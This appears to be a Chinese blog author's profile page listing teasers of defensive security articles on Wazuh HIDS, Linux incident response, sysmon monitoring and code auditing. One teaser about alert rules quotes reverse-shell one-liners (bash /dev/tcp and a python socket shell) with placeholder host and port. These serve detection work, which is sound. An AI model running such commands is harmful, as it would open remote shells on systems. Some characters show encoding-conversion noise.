加入MT剛好3個(gè)月整，來記錄一些自己的發(fā)現(xiàn)和感悟。 入職第一周-如何快速進(jìn)入工作狀態(tài) 和所有新人一樣，公司的新人培訓(xùn)計(jì)劃提供了很多了解公司以及如何開展工作的課程，但是因?yàn)樾氯?..
發(fā)簡信
IP屬地：廣東
-
安全工程師如何快速適應(yīng)新企業(yè)及一些新員工感悟
-
Wauzh原理簡析及audit規(guī)則風(fēng)險(xiǎn)評估
HIDS基本原理 熟悉HIDS的朋友應(yīng)該了解，服務(wù)器的shell監(jiān)控一般有兩種，一種依靠Linux的audit審計(jì)功能，比如Wazuh，一種是重編譯和替換bash二進(jìn)制文件，...
-
企業(yè)安全-淺談員工行為監(jiān)控
我目前就職于一家私企的安全部，主要做安全審計(jì)的工作，很多公司的離職流程沒有考慮過員工的異常行為審計(jì)，18年我在逛微博的時(shí)候看到google的一條新聞，審計(jì)人員發(fā)現(xiàn)一名員工在離...
-
Wauzh自定義反彈shell告警規(guī)則常見反彈： bash -i >& /dev/tcp/ip/port0>&1 python -c"import os,socket,subprocess;s=socket.so...
-
Wazuh配置使用騰訊企業(yè)郵箱告警
測試環(huán)境： CentOS Linux release 7.6.1810 Wazuh 3.10.2 1、wazuh服務(wù)器上安裝postfii及相關(guān)服務(wù) yum install ...
-
開源HIDS-Wauzh功能測試一、Wazuh 守護(hù)進(jìn)程及工具進(jìn)程 守護(hù)進(jìn)程 ossec-agentd https://documentation.wazuh.com/3.10/user-manual/re...
-
開源HIDS-Wauzh測試使用
Wazuh簡介 前端時(shí)間調(diào)研了一些HIDS的開源系統(tǒng)： https://github.com/Neo23x0/Fenrir更加方便（不需要安裝代理或者軟件包）使用的IOC掃描...
-
應(yīng)急響應(yīng)-Linux應(yīng)急排查手冊
賬號排查 grep :0: /etc/passwd #檢查是否產(chǎn)生了新用戶，和UID、GID為0的用戶 stat /etc/passwd #檢查文件修改記錄 awk -F: ...
-
git blame使用
命令名稱： git-blame - 顯示文件的每一行最后修改的版本和作者 用法： git blame [-c] [-b] [-l] [--root] [-t]...
-
安全系統(tǒng)建設(shè)-SonarQube實(shí)現(xiàn)GitLab代碼審計(jì)最近領(lǐng)導(dǎo)讓我調(diào)研一下代碼審計(jì)的開源工具，發(fā)現(xiàn)sonarqube這個(gè)系統(tǒng)能夠滿足我們的需求，可以與gitlab聯(lián)動進(jìn)行代碼審計(jì)。 一、代碼審計(jì)需求及方案 滿足gitlab一旦提...
-
一步步編寫SonarQube Plugin插件不好寫？！ 插件確實(shí)不好寫，因?yàn)椴寮遣迦臊嫶蟮南到y(tǒng)當(dāng)中工作的，那也就意味著寫插件需要具備一定的領(lǐng)域知識，包括系統(tǒng)架構(gòu)、擴(kuò)展點(diǎn)、業(yè)務(wù)共性及差異、API及其業(yè)務(wù)模型對應(yīng)、安...
-
Windows sysmon+winlogbeat+ELK實(shí)現(xiàn)Windows監(jiān)控
一、sysmon告警介紹 sysmon提供21種事件告警： Event ID 1：進(jìn)程創(chuàng)建 Event ID 2：進(jìn)程更改文件創(chuàng)建時(shí)間 Event ID 3：網(wǎng)絡(luò)連接 Eve...
-
企業(yè)安全-如何在Github上刪除敏感數(shù)據(jù)
一、 前言 在企業(yè)安全中，常有安全意識薄弱的員工將企業(yè)核心代碼上傳到了GitHub，可是當(dāng)上傳者無法及時(shí)定位又需要快速的刪除這些代碼時(shí)，GitHub提供了兩個(gè)協(xié)議，用于保護(hù)被...
-
如果你是程序員，或者有一顆喜歡寫程序的心，喜歡分享技術(shù)干貨、項(xiàng)目經(jīng)驗(yàn)、程序員日常囧事等等，歡迎投稿《程序員》專題。 專題主編：小彤花園 http://www.itdecent.cn/users/4a4eb4feee62/ 【程序員】專題拒稿指北：http://www.itdecent.cn/p/7c8b33b5f63b 投稿須知： 1.收錄相關(guān)技術(shù)文章，但不限于技術(shù)，也可以是項(xiàng)目經(jīng)驗(yàn)類的文章和程序員日常。 2.文章內(nèi)不得有任何推廣信息。包括但不限于公眾號、微博、微信，更不得在通過投稿后再修改文章加入推廣信息。你可以將這些推廣以及個(gè)人信息放在個(gè)人主頁介紹里。 3.字?jǐn)?shù)極少，段落混亂，大段代碼沒有放到代碼框的文章不收錄 4.不相關(guān)的內(nèi)容不收錄，請確認(rèn)文章內(nèi)容和本專題相關(guān) 目前針對優(yōu)質(zhì)作者及愛好者，開設(shè)了官方程序員微信群，希望加入請發(fā)簡信給主編小彤花園索取個(gè)人微信，主編會將你加入到【程序員】微信群，分享內(nèi)容，收獲知識。添加微信時(shí)備注昵稱。
-
Hi，很高興在@IT·互聯(lián)網(wǎng)專題遇見你。 收錄范圍：收錄IT&互聯(lián)網(wǎng)行業(yè)觀察與思考，數(shù)碼產(chǎn)品極客體驗(yàn)分析等類型文章 投稿須知：http://www.itdecent.cn/p/4edc76104c27 專題主編：@若錦 http://www.itdecent.cn/u/e4c63b354a77 官方社群：可聯(lián)系添加 @若錦 加入專題官方社群交流、學(xué)習(xí)，添加時(shí)備注簡書ID。
